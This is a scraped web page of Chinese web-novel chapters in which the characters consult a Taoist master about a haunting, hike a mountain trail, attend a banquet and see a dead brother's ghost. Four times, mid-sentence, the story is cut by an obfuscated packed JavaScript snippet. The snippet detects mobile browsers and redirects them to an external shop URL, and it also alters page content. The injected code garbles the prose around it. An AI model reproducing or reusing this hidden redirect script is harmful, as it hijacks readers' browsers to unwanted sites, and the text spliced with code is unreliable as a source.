这会儿,郑咏絮出来了,拿了一包东西递给易无钦叫他收到包里,待会儿带给金吉舅舅。 易无钦放到包里后,给她拿了一瓶水。 郑咏絮接过来喝了一小半又递给易无钦,叫他继续在外面等,她拉过金小萍去道观里。 * 三姨婆带她们去了道观后殿一个房间,里面坐着一位穿着常服的大师。 “这是吴师傅,会看事儿。吴师傅,我看小萍姑娘不对劲,麻烦您帮忙看看。”三姨婆介绍道。 吴师傅让她们坐下,抬眼看了看金小萍,又看了看郑咏絮。他招手让金小萍靠近点,盯着她的眼睛看了很久,看得金小萍浑身不自在,一个劲儿眨眼睛,仿佛进了沙子。 半晌后,他终于开口,“邪祟缠身。” 轻飘飘四个字却如惊雷般惊得几人大为失色。郑咏絮愣在原地,三姨婆变了脸色,金小萍低声惊呼。 吴师傅让三姨婆去把门关上,“你们说说吧,遇到的事。” 金小萍懦懦不知该怎么开口,郑咏絮伸手拦了她一下。 “吴大师,三姨婆。今天说出来的事,我希望你们能保密,不让其他人知道。最好都别让人知道小萍来找大师看事,我都是说的求平安。”郑咏絮看着三姨婆,“尤其是我爸妈,不能晓得这些事。” 吴师傅没有说话,三姨婆犹豫片刻,点点头,“我答应你。” 郑咏絮甜甜笑了下,“三姨婆,我晓得你是个信得过的人,你找的吴大师,我也信得过。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526746|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 她开口,讲起了她和金小萍在东北酒店房间里的遭遇,再让金小萍自己讲了这段时间的遭遇。 饶是三姨婆信道多年,也听得惊心动魄,不停抚着胸口。 吴师傅紧锁着眉头,“你清清楚楚地知道那是你哥,但是他让你感到非常害怕?” 金小萍紧抿着嘴,点了点头。 “按理来说,你哥是你至亲,来看看你也实属常情。你不应该觉得害怕。”吴师傅说,“但人的反应不会骗人,你哥这种情况,说明他不正常。” “什么不正常?”郑咏絮忍不住问道。 “恶魂。” 金小萍问道:“我哥是恶魂?” 吴师傅点点头。 金小萍略略红了眼眶,“我哥二十几岁就得了严重的心脏病,还在东北去世的。去世的时候身边一个人都没有。” 她抬起头带着泪光问吴师傅,“是不是因为这样,他成了恶魂?” 郑咏絮从口袋里掏出纸巾,递给金小萍。 吴师傅说,“英年早逝的人很多,大部分都不会成为恶魂。而你哥哥不一样,他不像是年纪轻轻死得不甘心而残留人间。” 他深吸一口气,缓缓说,“他更像是魂魄不全而成为的恶魂。” * 易无钦一个人无聊地在道观里四处走动,不一会儿就走到外面去看漫山遍野的春光。 油菜花仍然大片大片盛开,很壮观。中间有一些树,满枝丫都是花儿。在上山的时候郑咏絮给他介绍了,有桃花,有李花,还有海棠花,还有一些她也叫不上名字的。 怪不得大家都喜欢踏青,春日果然是盛景。 归望镇确实是个好地方,风景美,节奏慢,人也好相处。 如果没有夹杂他父母的失踪和他身上的祭童命运,这一切都很美好。 道观里的香火味飘了过来,易无钦定了定神,心思沉淀下来。他的人生本就该很美好,不管前面是什么阻碍,他都会和郑咏絮一起用斧头劈开。 刚起了宏愿,他的肩头被拍了一下。 易无钦回头一看,是郑咏絮。 “小萍呢?” 郑咏絮说,“吴大师在帮她写符,我们一起等她。” 易无钦问:“小萍到底是怎么了?”之前郑咏絮只跟他说爬山,给金小萍求平安符,但并没有说具体原因。 郑咏絮这会儿才一五一十将金小萍这段时间的遭遇全都说给易无钦听。 易无钦抓到了不一样的点,“你是说金小萍一直看到的都是金海军的背面,没有正面?” 郑咏絮点点头。 易无钦倒吸一口气,“但我在东北看到的,都是他的脸。” 郑咏絮沉默了,阳光照在身上也驱赶不了那股渗寒。 “大师怎么说?” 郑咏絮将大师的话告诉易无钦。 “魂魄不全?恶魂?”易无钦心中一惊,隐隐约约有些联想。 他正欲开口,却看见金小萍和三姨婆出来了。 “姑娘,你也不要太担心了。你现在最重要的是在学校好好读书,其他不要多想。大师的符你放在枕头下面,这串朱砂戴在右手。朱砂不大但是对辟邪很有用,大的朱砂怕影响你拿笔写字。”三姨婆絮絮叨叨对金小萍说。 “谢谢姨婆。”金小萍将符郑重其事放进包里,又将朱砂手串戴在右手上。 三姨婆继续说,“你哥哥那边,大师也会想办法,你不要担心。” 金小萍点点头。 眼见事情办完了,郑咏絮和三姨婆告别。三人离开道观,向金吉家走去。 17. 爬山 一路上三人都没怎么说话。 金吉家并不远,三人到的时候,金吉正在把桌子摆在外面的空地上。 “舅舅,”郑咏絮远远看到他喊了一声再跑过去,“我来帮你。” 金吉朝他们招招手,“时间刚好,菜都炒好了,去端上来吧。” 郑咏絮立刻颠颠地跑过去端菜。 易无钦和金小萍走到金吉面前礼貌问好。 金吉含笑对他们点点头,眼神不经意间在易无钦身上停留。 郑咏絮手脚利索,很快将饭菜都摆好了。“舅舅,你做的菜好香哟,我口水都要流出来了。” “那我们坐下来吃嘛,不要讲礼数。”金吉招呼三人坐下,“做的都是你爱吃的,看小萍和男娃儿爱吃这些菜不。” 四个人吃饭,金吉倒也没弄太多菜。腊排藕汤、水煮肉片、腊肉炒灰粑、坨坨土豆、凉拌菜苔,再加一盘切片的香肠。 金小萍礼貌地说,“谢谢舅舅,这些菜看起就好吃。” 金吉挥了挥手,“啥子舅舅,你不要跟着雪雪喊。我也姓金,跟你爸爸一辈的,比他年龄小,你就喊我幺爸嘛。” 他又对着易无钦说,“小伙子,听你说话不是本地人,吃得惯不?” 易无钦笑着点头,“叔叔我吃得惯。” 郑咏絮笑嘻嘻:“他们没得我挑食,我喜欢吃的他们也喜欢。” 金吉招呼着大家动筷。 “舅舅,我觉得你做的香肠比我妈做的好吃多了。”郑咏絮边吃边说,“你的水平不摆了。要是你在山水村开个餐馆的话,怕是来旅游的人更多。” 易无钦也跟着说,“这里每一道菜都好吃,都可以成为叔叔你的招牌菜。” 金吉轻笑一声,“我一个孤寡老头,平时精力都用来研究吃,也没得其他本事了。” 郑咏絮夹了一块腊排给金吉,“舅舅,你本事大得很,就是太低调了。要我说,你真的该去村委会那里开一个餐馆,我也不去大学上班了,我来餐馆给你当服务员。再把你当年‘华容道’的经历给客人们渲染一下,一传十十传百,你就爆火了,山水村也火了。村长还要来巴着你,镇长都要来给你倒茶。” “就你那张嘴最会说。”金吉斜睨她一眼。 几人在说说笑笑中吃完了午饭。 郑咏絮自告奋勇洗碗,金小萍在旁协助。易无钦帮着把桌子搬到屋内。 金吉虽然一个人住,但房子收拾得干净整洁。易无钦看见堂屋的一角还放着许多书籍和笔记本,忍不住好奇去看。 “都是县志资料,是雪雪的干妈,也就是我姐姐以前家里的。他们搬到大城市了没得地方放这些旧东西,我就拿回来了,没事抄字耍。”金吉解释说,他随意拿起一本翻给易无钦看。 易无钦看了看,上面都是繁体字,而且是竖版没有标点符号。他勉强看了几句觉得颇为吃力,“叔叔真厉害,我看都看不明白这个。” “看这个东西需要有耐心,才能找到你想要的答案。”金吉将书放回去,“你们年轻人更有希望,搞懂这些东西。” 他的话有些云里雾里,易无钦似懂非懂,礼貌地朝他笑笑。 午后天气渐热,易无钦将冲锋衣外套脱下来搭在板凳上,和金吉有一搭没一搭的聊天。 “在归望镇住着还习惯吧?” “嗯嗯,习惯。” “听雪雪说,你是住在金盛的旅馆?” “对。” “金盛按辈分要喊我公公。以前他在矿上,经常从我屋门前过。现在不下矿了,来得少了。” 易无钦看见金吉总是若有似无地盯着他脖子看,心里觉得奇怪,不自觉摸着自己的脖子,直接问道:“叔叔,我脖子怎么了?” 金吉一愣,没想到他会直接问,连忙打哈哈,“哦,没啥没啥。我看你衣服那里有个鼓起的东西,不知道是啥。” 易无钦将衣领口的金坠子翻出来,“你是说这个呀?” 金吉一副恍然大悟的样子,“哦,原来是个项链哟。雪雪好像有一个样子差不多的。” 易无钦点点头,“对,我和她那个样子是一样的。她有个水晶坠子,样子挺别致,我和她的坠子是根据那个水晶坠子来做的。” 正说着,郑咏絮和金小萍收拾完厨房过来了。 听见他们的对话,郑咏絮笑着说,“那个水晶坠子就是舅舅送给我的。” “啊?”易无钦大感意外,脑海中瞬间回响起楼道里听见的鼓声和蛙鸣。 “那叔叔,那个水晶坠子你从哪来得来的?有什么说法吗?”易无钦紧紧追问。 金吉却大手一挥,“没啥说法。就是以前一个朋友送的,说是辟邪。雪雪要出省,我就喊她戴起一路。” 他顿了顿,继续说,“也不是说一定能辟邪,就是我这个舅舅的一点心意。” 郑咏絮看了一眼易无钦,问道:“舅舅,是你哪个朋友送的嘛?” 金吉说,“你认不到。她早就不在归望镇了,说是去沿海打工,好像是广州那边。这是她托人给我带回来的。” 他抬眼看二人,“你们问这个干啥子,这个坠子有啥不一样的地方吗?” 易无钦的表情很实诚,“这个样子很特别。” 金吉满不在乎说,“有啥特别,不就是个鼓吗?” 易无钦用手拨弄着自己的坠子,没有说话。 郑咏絮见状,也没有继续说。她拍了拍易无钦,“三姨婆那包东西呢,拿出来给舅舅。” 易无钦从包里拿出东西,递给金吉。 郑咏絮也从自己包里拿了一包东西,“这包是我爸妈叫我带给你的乌天麻,这包是今天三姨婆叫我带给你的。” 金吉拿过三姨婆那包东西,看了眼,放在桌上。再拿起乌天麻,放在鼻子尖轻嗅,“是很好的乌天麻,帮我谢谢你爸爸妈妈。” 郑咏絮点点头。 几人又聊了会儿天。郑咏絮站起来,“中午多吃了碗饭,肚子好撑。” 她对易无钦和金小萍说,“我们去爬华容道嘛,消消食,晚上还要吃万堂公公的大餐。” 金吉说:“金万堂今天办招待?” 郑咏絮点点头,“他本来说请我和小萍吃好的,早上出来的时候,郑元说他喊易无钦也一起。” 金吉裂开嘴无声笑,“他终于要见你……们一起了。” 他挥挥手,“去吧,爬了山正好吃顿好的。” * “华容道”是另一条路,三人先从金吉家走下来,来到山下的村小门口。 村小是一个已经废弃的学校。这些年山里人往镇上或县里搬,孩子也不多了,学校招不到生就废弃了。 易无钦朝里面看了看,这所村小是他见过最小的小学,就一栋四层的楼,门口的操场也小,一根升旗杆孤零零立在那里。 “我跟你们说,别看村小现在荒废了,当年热闹得很。村委会还没修好的时候,开会都在村小开。”郑咏絮给他们介绍。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526747|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “中午吃饭那会儿,我是不是跟你们说了金吉舅舅有段‘华容道’的经历?”郑咏絮神神秘秘地,“告诉你们,他这段经历那叫一个惊险刺激。” 金小萍看她说得神秘,有些害怕,“是鬼故事吗?姐姐,我不要听。” “不是,不是。”郑咏絮连忙安慰她,“不是鬼故事。” “哦,那你讲嘛,不准吓我。”金小萍说。 易无钦被她俩对话逗笑。 郑咏絮继续说,“这个故事要边走边讲,就先从这个村小讲起。故事发生的时候,金吉舅舅还很小,才几岁。他妈妈是妇女代表,有一次接到通知来村小开会。” 那时年幼的金吉一家住在山里,去哪儿都靠走路。 妈妈算着时间从家里出发去村小,金吉舍不得妈妈,从家里跑出来追她。等妈妈开完会回到家时,已经是晚上。 一清点家里的小孩,竟然少了一个,就是最小的金吉。 “孩子呢?”妈妈问家里人。 家里人感到很懵,“他不是跟你去村小了吗?你前脚走,他后脚追。还以为你们一起的。” 然而妈妈根本不知道金吉追在后面,孩子自然也没跟她一起。 一家人赶紧出门去找,发动周围邻居们一起找。 “后来呢?找到了吗?”金小萍听得紧张,忍不住追问。 郑咏絮无语道:“金吉舅舅都这么大了,肯定找到了呀。” “在哪里找到的?”易无钦接着问。 郑咏絮边爬坡边说,“走上去我再告诉你们。” 下午仍然有不少人爬山,一路上热闹得很。太阳比上午更大,也更热了。 “小萍,你还能爬吗?”郑咏絮关心问道。 金小萍擦擦额头上的汗水,“没事的,是有点累,但出了汗让我觉得很舒服。我还能爬,我要听你讲故事。” 易无钦说,“到了那个大石头那里休息会儿吧。” 郑咏絮看了看,说,“不不不,到了水潭那里再休息。” 三人继续向前,一直到了郑咏絮说的水潭处才停下。 “这是水潭?”金小萍看着面前的石头坑发愣。 郑咏絮慌忙解释,“现在是枯水期没水,等夏天的时候就有水流下来形成水潭了。” 易无钦笑笑,找了个干净的地方,从背包里拿出一块小垫子,垫在地上让她们坐。 “我发现你装备挺齐全,这东西都有。”郑咏絮好奇说。 易无钦从包里拿出水递给她们,“我特意买了很多装备,就为了爬山或者野外生存用的。” “哥哥你要去野外生存?”金小萍瞪大了眼睛。 易无钦看了看郑咏絮,笑着说,“就是露营,玩儿嘛。” “对了,有件事我一直想问你。”郑咏絮喝掉半瓶水后,对易无钦说,“你小时候不是叫易超吗?怎么改成易无钦了?” 易无钦垂垂眼,“殷姥姥给我算命,说改个名字比较顺,我就改了。”他没说,殷姥姥和姥姥两人的意思是,改个名或多或少能减少和归望镇这里不知什么东西的羁绊。 “为啥叫无钦?” “当时电视里在播《倚天屠龙记》,他叫张无忌,多么酷。我就给自己起名易无钦。”他解释说。 “这个名字也很酷。”金小萍笑着说。 易无钦笑了笑,又对着郑咏絮说,“现在到水潭了,你该继续讲金吉叔叔的经历了。他该不会是在这个水潭被发现的吧?” 18. 黑白 “对对对,就是这里。”郑咏絮点头,“他们找了三天三夜,最后在这个水潭旁找到了金吉舅舅。” “三天三夜?”金小萍听得瞠目结舌,“幺爸一个小孩子是怎么度过这三天三夜的。” 郑咏絮又故作神秘起来,指了指上面,“欲知原因,咱们爬上去再说。” 三人休息了会儿,起身收拾东西继续往上走。而这一段路也就是真正的“华容道”。 上山这条路全都是土路,是以前住在山里的人们必经之路。后来山里住的人少了,走的人也少了。 但仍可见崎岖。不少地段一边是大石一边是山崖,中间的路仅有二十厘米宽。虽然山崖并不高,但摔下去仍然让人吃不消。甚至还有的路是踩着老树树干往上,非常难走。 也正因为崎岖,吸引了不少爱好爬山的驴友前来挑战。因这条路不算野道,以前山里人走过无数遍,非专业人士的新手小白也能走,只要小心一点不在雨天来就行。 三人就这样互相搀扶着,挑战过了“华容道”,终于来到了终点。 当然这个终点只是郑咏絮说的终点,并非“华容道”的终点。这里是一个大的平台,好些驴友在这里休息。平台左边是绝壁天路,站在那里更能将山水村美景尽收眼底。 靠近山体的地方修了一间小房子和一座小庙。 房子已经破败了,只剩三面墙立在那里。 小庙也只是一个神像和供台。 郑咏絮带着他们来到平台边缘,指着下面说,“你们看,这就是刚才那个水潭。” 水潭和平台之间是一块三米高的大石。 郑咏絮讲得眉飞色舞:“当时金吉舅舅追他的妈妈追到我们现在站的这个位置。突然,出现了一个黑衣人,把他从这里推下去。” “啊?”金小萍听得紧张兮兮。 “结果,你们猜怎么着?在水潭那里,又出现了一个白衣人,接住了金吉舅舅。” “黑衣人和白衣人是什么人?”易无钦问道。 郑咏絮摊了摊手,“不知道他们是什么人。这些都是当时年幼的金吉舅舅给大人们说的。” 她又指着靠近山体的房子,“那就是舅舅家人当年修的,是为了感谢白衣人的救命之恩。本来想修庙,但那个年代对封建迷信打击严厉。他们修了房子守在那里,小庙是近几年旅游的人多了修的,跟舅舅没关系。” “后来呢,黑衣人和白衣人又出现过没?”金小萍追问。 郑咏絮摇头,“没有了,再也没见过。也不知道这两个人是什么来历。” “那金吉叔叔有没有说过,他们穿的衣服是哪种?古代那种长的,还是现代我们这种衣服?”易无钦问。 “不知道,金吉舅舅也记不清了,只记得是黑衣和白衣。他当时年龄本来就小,这两人又是突然出现的,哪里能看清那么多细节,就算看清了也不一定记得住。”郑咏絮解释道,她兴奋地问两人,“这段经历是不是很神奇?” “很神奇。”易无钦和金小萍啧啧感叹。 易无钦说,“神奇的地方主要是不知道黑衣人和白衣人是什么。人?鬼?神?” 郑咏絮摊手表示自己不知道,大概连金吉都不知道他们是什么人。 三人在平台上散步,郑咏絮带他们去小庙上看。 小庙几步台阶上去后再转角上去就是神像,供奉的是什么神他们说不上来,只能盲猜是土地公之类的。 转角那里是山体,易无钦看见背后有一个山洞。 郑咏絮指着山洞说,“金吉舅舅说他钻过这个山洞。别看入口小只能过一人,其实里面空间大得很。” 山洞,易无钦一怔,心里泛起复杂的情绪。 这个山洞当然不是小时候探险那个,不过仍然是一样的神秘和深不可测。 会不会金吉遇见的黑衣人就是从山洞中出来的?甚至水潭那里的白衣人说不定也是山洞出来的。 是不是这个归望镇有点说法?一个山洞让他和金海军陷入莫名的困境中,另一个山洞给金吉一段神秘的遭遇。 金小萍说,“我们地理书上说了,大西南是喀斯特地貌,大部分山体里是溶洞,这个洞应该也是溶洞吧。” “应该是,哎,咱们要不要找机会进去探险?”郑咏絮兴奋地提议。 “不要!”易无钦和金小萍异口同声拒绝了。 “哈哈,我就开开玩笑,探洞危险得很,非专业人士的我才不会去呢。”郑咏絮嘻嘻哈哈地说。 三人又在平台上玩了一会儿,郑元的电话就来了。 “你们还在山上吗?该下山了。” 郑咏絮跟他约好在山水村村委会碰面,又招呼着易无钦和金小萍下山去。 * 晚上的宴席是在金万堂的茶楼里进行的。 他的茶楼专门装修了一层楼当宴客的地方,非常豪华,一应桌椅板凳、厨房设备、碗筷碟盘都很齐全。甚至连小型KTV和棋牌室都有。 宴席上的菜非常丰盛。有鸡鸭鱼肉基础配置就算了,还有澳龙、鲍鱼这样的海鲜。 “呀,万堂公公,你这搞得也太丰盛了。”郑咏絮甜甜地说。 金万堂呵呵笑着,“你们今天爬山怕累了,给你们好好补补。”他招呼众人坐下,“放松点,当自己家里。” 郑高志也在,和郑元一起招呼大家坐下。 “雪雪,这位就是你的朋友呀?你介绍下吧。”金万堂笑呵呵看着易无钦。 郑咏絮站起来介绍,“他叫易无钦,和我同岁。他和我们很有缘,他住在东北的五六-四厂。小时候就在我们归望镇待过。” 易无钦也站起身来礼貌问好。 “好好好,坐下说,不要这么客气,”金万堂说,“你小时候在镇上待过,那你爸妈叫什么名字?说不定我们都认识。” 易无钦在心里一声冷笑,我全家你都认识,何必在这里装模作样。但他面上仍很礼貌,“我爸爸叫易松涛,妈妈叫文绫。” 他伤感道:“可是他们在我小时候就失踪了,就在归望镇。前几天我去派出所打听过,至今也没找到。” 这话一说,全场都安静下来。 失踪时,郑元和郑咏絮她们一样差不多是小孩的年龄,对这件事没啥印象。 而金万堂和郑高志或多或少都听说过。郑高志不安地朝金万堂看了一眼,金万堂却神情自若。 “易松涛,文绫,我知道你爸妈,也听说过他们失踪的事。”他往后靠在椅子背上,“派出所来找了我们煤矿的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526748|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找了好几次。让我们在进山和下矿时注意点,如果有什么发现,立即报警。” 他叹了口气,“可惜,这么多年,关于你爸妈的什么也没发现。” 郑高志举起酒杯,“易小伙儿,你爸妈的事情我深表同情。但人要往前看,今天我们不说这个好不?来大家举个杯,欢迎无钦的到来。” 金万堂不满地看了他一眼,似乎是觉得他抢了自己东家的话。但小辈们在他也不好发作,只是跟着一起举杯。 三次举杯后,金万堂让大家动筷。 他年纪上来后,餐食也变少了,饮食愈发清淡,今天的大鱼大肉并不合他的胃口。因此他动筷少,说话多。 “雪雪,你们三个今天爬山怎么样嘛?” 郑咏絮放下筷子,“今天爬惨了,出了一身汗。” “爬的‘华容道’?” “对头。” “那还爬惨了,‘华容道’也爬不了一天嘛。” 郑咏絮笑嘻嘻说,“上午我们先去找了三姨婆,顺便在道观里求了个平安符。中午去金吉舅舅那里吃的饭,下午才去爬了‘华容道’。” “金吉啊?我好久没看到他了,他一天在干啥子?”金万堂问道。 郑咏絮说,“舅舅挺好的,还是老样子弄他的山货拿去卖。” 金万堂又转头看着易无钦,“你来归望镇还习惯吧?” 易无钦笑了笑,“习惯的。” “你住在金盛那儿,他那里环境一般。不如你住到我的酒店来,这是镇上环境最好的,也不要你钱。”金万堂笑眯眯地说。 易无钦礼貌回答:“谢谢公公。我住在金盛哥哥那里挺好的,我俩从小一起耍,都是熟人。” “你在归望镇住了那么几年,也不止他一个熟人嘛。”金万堂说,“郑飞也是你的小伙伴吗?” 易无钦一愣,随即又很快意识到,这大概是金万堂派人监视了他在归望镇的行踪,知道他去了疗养院。“对,郑飞哥哥也是小时候一起玩的,可惜他现在成了那个样子。” “郑飞好好生生的一个娃儿,确实可惜了。”金万堂惋惜地说,“小萍哥哥海军也很可惜,年纪轻轻的,你们小时候也在一起耍的吧?” 他突然提到金海军,易无钦脑中一炸,有点没反应过来。他抬头看着金万堂,不明所以。 郑咏絮见状立刻打圆场,“万堂公公,怎么好端端提起海军了?小萍妹妹又要伤心了。” 金小萍见郑咏絮悄悄给她递了眼色,虽然不知道怎么回事,但也明白她是想搅合气氛,立即伤心地说,“我有几个晚上都梦见哥哥了,也不知道他在下面过得好不好。” 易无钦控制住情绪,平复心绪,也作出伤心的神情:“都是听金盛哥哥说了我才晓得海军哥哥是我们小时候在一起耍的,我们喊他大哥。在东北时,他在我家隔壁住了两个月,我都一点也不知道。” 他擦了擦眼角,“早晓得我就陪在他身边,让他离开人世的时候至少不孤单。” 金万堂盯着他看了好一会儿,才缓缓开口,“你有这份心,不枉你俩小时候的一场交情。小萍担心哥哥,那明天你们去给他烧点纸嘛,聊表哀思。” 他举起酒杯,对着易无钦说:“小伙子,欢迎来到归望镇。” 19. 再遇 从金万堂的茶楼出来回到旅馆已经是晚上九点多了。 金盛正在店里忙得起飞。 周末天气好时,来归望镇爬山踏青的人就多。最近是油菜花盛开的季节,来的人就更多了。旅馆生意较平时要好。 易无钦去自己房间放好东西后赶紧下来帮金盛的忙。他帮着安排停车位,又主动把行李提上楼。 金盛忙完客人登记和开房拿卡,才招呼着易无钦坐下来。 “还好有你帮忙哦,今天忙死我了。”金盛给二人倒了水。 易无钦看看店里,“叔叔阿姨不在吗?” “我外公外婆身体不舒服,他们带去宾化看病了。”金盛说,“晚上才回来,我喊他们在家休息不要过来了。” “外公外婆身体没有大碍吧?”易无钦关心地说。 金盛摆摆手,“没啥大碍。就是人年纪大了,身体总会有些毛病,医生开了药,回家养一养就好了。” 易无钦点点头,突然想起了自己的姥姥。如果没有这些乱七八糟的事,姥姥现在应该仍然身体康健地和殷老太玩儿。 正想着,金盛突然拍了下他,“今天来了个你的包裹,好大一个,我没空给你拿上去,放在前台的。” 易无钦放下水杯去前台看,原来是他托张鹏寄的东北特产。 他在前台找了把手工刀划开快递箱子,将里面的东西拿出来。 金盛也放下水杯过来看,是一些真空包装的风干肉、果干、不老林糖、真空鸡架等吃的,也有人参片、蘑菇干货等。 “都是东北那边的特产,你挑点喜欢的吧。”易无钦说,他拿起一盒人参片递给金盛,“这个送给外公外婆,补气血的,希望他们身体健康,吃嘛嘛香。” 金盛也不客气收下,自己挑了包真空鸡架,“谢谢啦。听说东北鸡架好吃,我尝尝。” 易无钦埋头继续整理。 金盛忽然说:“你这么一说,我倒是想到了。”他指指旁边,“隔壁门面也是我家的,之前租给别个开小超市。后来他不租了就空在那里。干脆我把它改造一下,搞点特产来卖。” 他拉起易无钦来到门口看,“这个面积也不大,到时候我把中间墙打了,两个门面打通。里面货架都有,可以直接用。这两年来归望镇耍的外地人多,正好我卖点特产给他们。” 易无钦说,“那很好呀。” 金盛拍拍他,“你还可以帮我弄东北特产过来,卖给镇上的人。” 易无钦点点头,“这没问题。” 金盛越说越兴奋,“那后天周一我就开车上宾化县的批发市场去看看。” 易无钦想了想说,“哥,你去看的时候如果方便的话,帮我买点特产回来,我寄给东北的亲朋好友。” “没问题。”金盛爽快答应。 两人又回到前台继续整理。 “今天爬山还好耍吧?”金盛问他。 易无钦点点头,“好耍,我们爬的‘华容道’。” “那条道很多人去。”金盛说,“今天好几个客人都在问我那条路。” 易无钦说,“咏絮还给我和小萍讲了‘华容道’的故事,就是金吉叔叔小时候的离奇经历。对了,金吉叔叔今天还提到了你。” “我要喊他喊公公,”金盛撇嘴,“我听说过他那个经历,啥子黑衣人白衣人,神叨叨的,我反正是不大相信。” 易无钦轻笑一声,没有继续说。 金盛倒是“哎”了一声,“他那里很多山货,倒是可以喊他放到我这里卖。卖出去了再给他钱,那我也少压点货。” 易无钦听了觉得可行,“我们中午在他家吃的饭,他做菜很好吃。我想他的山货应该也不差。” “确实不差,”金盛点点头,“他进山找到的野苕、菌子还有笋子,都比其他人找到的品质要好。” 他对易无钦说,“等我从宾化县了解市场了,再找个时间去找金吉公公,你陪我一路嘛。” 易无钦点头说好。 * 第二天,易无钦刚起床下楼吃了早饭,郑咏絮的电话就来了。又是他们三个一起去给金海军烧点纸上柱香。 易无钦对金海军的态度一直很复杂。 一开始是恐惧和害怕,知道他的目的后是愤怒。得知他是小时候的大哥又有些恍惚,再看到郑飞的现状又五味杂陈。 听郑咏絮的描述,金海军以自己原本就时日无多的命,去冲破姥姥的禁制,换来的是有钱的金万堂对亲妹妹金小萍的抚养和照顾。 说到底,金海军也是个身不由己的人,只是一枚棋子而已。源头还是在那个传说中的鬼王身上。 他决定跟她们一起去。 金海军的坟就在鬼王山山脚上去一点,并不远,十几分钟的路程就到了。 坟是新坟,春节期间才来过,很好找。 金小萍将三炷香稳稳插在香台里,“哥,你到了下面没有?见到爸妈没有?我一切都好,不要担心我。” 郑咏絮和易无钦在旁边默默烧纸钱。 等把带来的纸钱都烧光了,两人起身,却看见金小萍愣在那里,看着三炷香出神。 “小萍,你怎么了?”郑咏絮不放心,拍了下她。 金小萍抬起头,神情落寞,“姐姐,你说哥哥听得到我说话不?”她抬手看着朱砂手串,“我还会看到他或者梦到他吗?我还会害怕吗?” 郑咏絮安慰道:“朱砂和吴大师的符肯定有作用的。你就安心读书,不要胡思乱想了。” 金小萍长吁一口气,站起身来,“不晓得是不是心理作用。昨天求了符,又爬了山出了汗,我感觉整个人状态好了很多。姐姐,哥哥,我们回去吧。” 三人默默走在山间。 这里尚未到山腰,虽是坡上,但仍有大片大片的平地。附近的农户在这里种地,现在是春季,长势也特别好,到处都是生机勃勃。 易无钦却在这片生机勃勃中感受到一道冰冷的注视。他回头看了看,却什么人也没看到。 “怎么了?”郑咏絮注意到他的回头。 “老是感觉有人在盯着我们看,但是又没得人。”易无钦摸不着头脑。 郑咏絮也跟着到处看了看,“你别说,我也有这种感觉。”她想了想,说,“会不会是附近的农民,在地里干活,被庄稼挡住了,所以我们看不到?” “不知道,但我感觉是很不好。”易无钦皱起了眉头。 他忍不住再次回头张望。而这一次,却真真切切看到了。在十米开外,一片盛开着豌豆花的田坎上,一个身影正默默注视着他们。 熟悉的身影,熟悉的脸。 金海军。 易无钦吓得倒吸一口凉气,马上死死捂住自己的嘴,害怕自己叫喊出来。 “赶快走,别回头。”他拉着郑咏絮去追前面的金小萍。 不明所以的郑咏絮却忍不住回了头。 两三米外,一个人正背对着他们。 她看一眼就知道这不是人,因为他身上穿的是寿衣,而且悄无声息。 她甚至又感觉到这个背对着他们的身影其实是正在盯着他们看。 她立即明白了这是金海军。 郑咏絮快吓哭了,后悔自己为啥要回头,她紧紧抓住易无钦的手臂,“快走,快走。” 易无钦知道她也看见了,带着她几乎飞奔起来。 前面的金小萍被这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526749|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么一带,顿感莫名其妙,“你俩怎么了?” 她回头要看他俩。 “别回头,快走!”易无钦和郑咏絮几乎是同时出声。 可金小萍仍然回头了。 “怎么了?”她朝后面张望着,仍然不明白发生了什么。 “你看不到?”郑咏絮吃惊地问到。 金小萍更加疑惑,“看到什么?后面什么也没有啊?你们看到了什么?” “哦,没什么。”易无钦快速回答,“刚才有只马蜂,我怕它蛰咱们。” “哦,”金小萍信以为真,她看到郑咏絮紧紧抓着易无钦,扑哧一下笑了,“姐姐,一只马蜂而已,你这么紧张干啥?” “我,我,”郑咏絮想了个借口,“我是过敏体质,马蜂毒我受不了。” 她仍然没有放开抓着易无钦的手,直到到了街上,才缓和了心情。 